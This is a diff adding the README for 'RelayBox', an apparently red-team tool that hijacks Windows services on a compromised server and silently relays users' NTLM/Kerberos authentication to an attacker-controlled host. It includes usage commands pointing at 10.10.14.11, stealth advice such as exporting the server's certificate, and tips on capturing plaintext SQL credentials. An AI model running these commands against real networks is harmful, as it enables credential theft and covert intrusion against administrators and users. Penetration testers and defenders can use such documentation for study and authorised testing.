|
| 1 | +# RelayBox - Man-In-The-Service tool to turn servers against their admins |
| 2 | + |
| 3 | +RelayBox is a tool that allows Red Teamers to silently place themselves in-between legitimate Windows servers without disrupting the latter. Its main purpose is to be able to, from a compromised server running the tool, relay incoming authentication attempts to other resources in the network without arising any suspicion. |
| 4 | + |
| 5 | +**Must be used with:** ntlmrelayx (https://github.com/fortra/impacket) or krbrelayx (https://github.com/dirkjanm/krbrelayx) |
| 6 | + |
| 7 | +## Building |
| 8 | + |
| 9 | +The project now follows the conventional `cmd/` + `pkg/` layout. Build the binary with: |
| 10 | + |
| 11 | +```bash |
| 12 | +GOOS=windows go build -o relaybox.exe ./cmd/relaybox |
| 13 | +``` |
| 14 | + |
| 15 | +You can also find prebuilt binaries on the Releases page. |
| 16 | + |
| 17 | +## Why? |
| 18 | + |
| 19 | +NTLM and Kerberos relaying attacks are really powerful, however often times can be impractical, too noisy or too disruptive. This is because at times it is not enough to (or we simply aren't able to): |
| 20 | +- Poison name resolution |
| 21 | +- Exploit RPC functions to coerce machine accounts |
| 22 | +- Deliver user coercion payloads |
| 23 | + |
| 24 | +Additionally, **oftentimes the best relay point** (the machine we control and "harvest" auth attempts from) **is a server that is used by many users**. The logic is quite clear, more users making connections to a machine `==` more authentication attemps `==` higher chance to get the accounts we need. |
| 25 | + |
| 26 | +SpecterOps published a method to take over port 445 in their [Relay You Heart Away](https://www.x33fcon.com/slides/x33fcon24_-_Nick_Powers_-_Relay_Your_Heart_Away_An_OPSEC-Conscious_Approach_to_445_Takeover.pdf) talk. This research was amazing, however there is a clear issue with this: if we want the best relay vantage point, a busy file server is the best target, if we kill SMB everybody will notice and we will be disrupting pontentially critical processes. |
| 27 | + |
| 28 | +Also, why stop and SMB? Let's see if we can take over all Windows services, silently! |
| 29 | + |
| 30 | +## How it works |
| 31 | + |
| 32 | +Each protocol has its own module that achieves the following: |
| 33 | +- Rebind legitimate service to only local loopback |
| 34 | +- Start our own service on original port on all other interfaces |
| 35 | +- Create firewall rule for it |
| 36 | +- Upon user connection proxy everything to a remote host (this will be the one running `ntlmrelayx` and such) |
| 37 | +- Kill the connection |
| 38 | +- Upon re-connection (most clients for these services will auto-reconnect) proxy everything to legitimate service running on local loopback |
| 39 | + |
| 40 | +If you want more details about how this is achieved for each different service, checkout the "Services" section. |
| 41 | + |
| 42 | +## Usage |
| 43 | + |
| 44 | +**This tool requires and is really only useful with local-admin privileges** |
| 45 | + |
| 46 | +``` |
| 47 | +Usage of C:\tmp\relaybox.exe: |
| 48 | + -http |
| 49 | + Enable HTTP relay |
| 50 | + -iface string |
| 51 | + Specific interface to bind rogue to, defaults to all interfaces |
| 52 | + -mssql |
| 53 | + Enable MSSQL relay |
| 54 | + -pfx string |
| 55 | + File path of PFX file to run HTTPS proxy |
| 56 | + -pfx-pass string |
| 57 | + Password of PFX file to run HTTPS proxy |
| 58 | + -raddr string |
| 59 | + Remote host to forward to (will match port bound for rogue service) |
| 60 | + -smb |
| 61 | + Enable SMB relay |
| 62 | + -verbose |
| 63 | + Enable verbose logging |
| 64 | + -winapi |
| 65 | + Use Windows API to shut down smb service, default will kill with powershell command |
| 66 | + -winrm |
| 67 | + Enable WinRM relay |
| 68 | + -mssql-smb |
| 69 | + Enable MSSQL relay via named pipes, will also run smb proxy |
| 70 | +``` |
| 71 | + |
| 72 | +Remember `-raddr` should be an attacker controlled machine running `ntlmrelayx.py`, this means that either that machine has direct network access to the relay targets, or you need to setup socks proxying between your attacker machine and the compromised server. Some tools to achieve this: |
| 73 | +- https://github.com/jpillora/chisel |
| 74 | +- https://github.com/Nicocha30/ligolo-ng |
| 75 | + |
| 76 | +### Take over SMB |
| 77 | + |
| 78 | +```bash |
| 79 | +./relaybox.exe -raddr 10.10.14.11 -smb |
| 80 | +``` |
| 81 | + |
| 82 | +This will take over port 445 on all interfaces except localhost. Whenever a new client connects, the authentication phase gets proxied to `raddr`, then the connection is dropped. Once the client re-connects it will be proxied to the original SMB service running on localhost. |
| 83 | + |
| 84 | +### Take over MSSQL via named pipes |
| 85 | + |
| 86 | +```bash |
| 87 | +./relaybox.exe -raddr 10.10.14.11 -mssql-smb |
| 88 | +``` |
| 89 | + |
| 90 | +This will hijack all incoming MSSQL connections to force them to use Named Pipes for communicating with the database. It will also enable the SMB takeover as if `-smb` would be running. This will result in all incoming MSSQL connection to be transparently man-in-the-middled and available for relay from your `-raddr`. |
| 91 | + |
| 92 | +### Take over HTTP |
| 93 | + |
| 94 | +```bash |
| 95 | +./relaybox.exe -raddr 10.10.14.11 -http |
| 96 | +``` |
| 97 | + |
| 98 | +This will rebind all IIS listeners to localhost, then setup an http server that: |
| 99 | +- Upon first connection redirects to the dotless version of the hostname (http://website.domain.local -> http://website) so that domain credentials are sent without showing a popup to the user. |
| 100 | +- After redirection the NTLM challenge response is proxied to the `-raddr` |
| 101 | +- A cookie `AuthProxy` is set so that redirection will not happen again |
| 102 | +- Victim is taken back to the original page they visited |
| 103 | +This allows to transparently relay a victim visiting a site to LDAP or another HTTP server on the network. |
| 104 | + |
| 105 | +### Take over HTTPS |
| 106 | + |
| 107 | +```bash |
| 108 | +./relaybox.exe -raddr 10.10.14.11 -http -pfx server.pfx -pfx-pass '1234' |
| 109 | +``` |
| 110 | + |
| 111 | +This behaves exactly like the HTTP takeover, except it will use a provided PFX file and password to create an HTTPS version of the attack as well. You whould extract the PFX from the compromised server so that it is as legitimate as possible. You can find a powershell utility to do this in: [http/export-pfx.ps1](http/export-pfx.ps1). |
| 112 | + |
| 113 | +### Take over MSSQL (experimental) |
| 114 | + |
| 115 | +```bash |
| 116 | +./relaybox.exe -raddr 10.10.14.11 -mssql |
| 117 | +``` |
| 118 | + |
| 119 | +This will actually take over port 1433 and rebind the MSSQL service to run only on localhost. Just like with the SMB takeover, the first connection from a client will be proxied to the `-raddr` and can be used for relay, then the proxy will point to the legitimate MSSQL service running on localhost. |
| 120 | + |
| 121 | +This is marked as experimental because the exact number of connections before stopping to relay isn't yet clear for most MSSQL clients, and because MSSQL->MSSQL relaying is not yet a thing even in ntlmrelayx (https://github.com/fortra/impacket/issues/816). |
| 122 | + |
| 123 | +**Note** this is really good for capturing plaintext credentials when clients are doing SQL auth. |
| 124 | + |
| 125 | +### Take over WINRM |
| 126 | + |
| 127 | +```bash |
| 128 | +./relaybox.exe -raddr 10.10.14.11 -winrm |
| 129 | +``` |
| 130 | + |
| 131 | +This will take over port 5985, using this will affect IIS services as well, so you should probably run this with `-http` as well if an HTTP service is exposed on the compromised server. This will proxy the first connection to the `-raddr` and then to the legitimate service running on localhost. |
| 132 | + |
| 133 | +WinRM is not a really good candidate for relaying as there are a lot of pre-conditions for the target to be vulnerable: https://sensepost.com/blog/2025/is-tls-more-secure-the-winrms-case./ . However, nothing's sopping you from capturing all traffic for a nice network based WinRM keylogger... until someone figures out WinRM relaying properly. |
| 134 | + |
| 135 | +## TODO |
| 136 | + |
| 137 | +- MSSQL both named pipe and tcp server mitm simultaneously |
| 138 | +- RPC implementation to take over port 135 |
| 139 | +- Add built-in name resolution poisoning |
| 140 | +- Implement all system calls via Windows API instead of Powershell |
| 141 | +- Auto detect and extract .pfx for HTTPS takeover |
| 142 | +- Investigate ADFS relaying: https://www.praetorian.com/blog/relaying-to-adfs-attacks/ |
| 143 | +- Perhpas take inspiration for more HTTP implementations from: https://github.com/praetorian-inc/ADFSRelay |
0 commit comments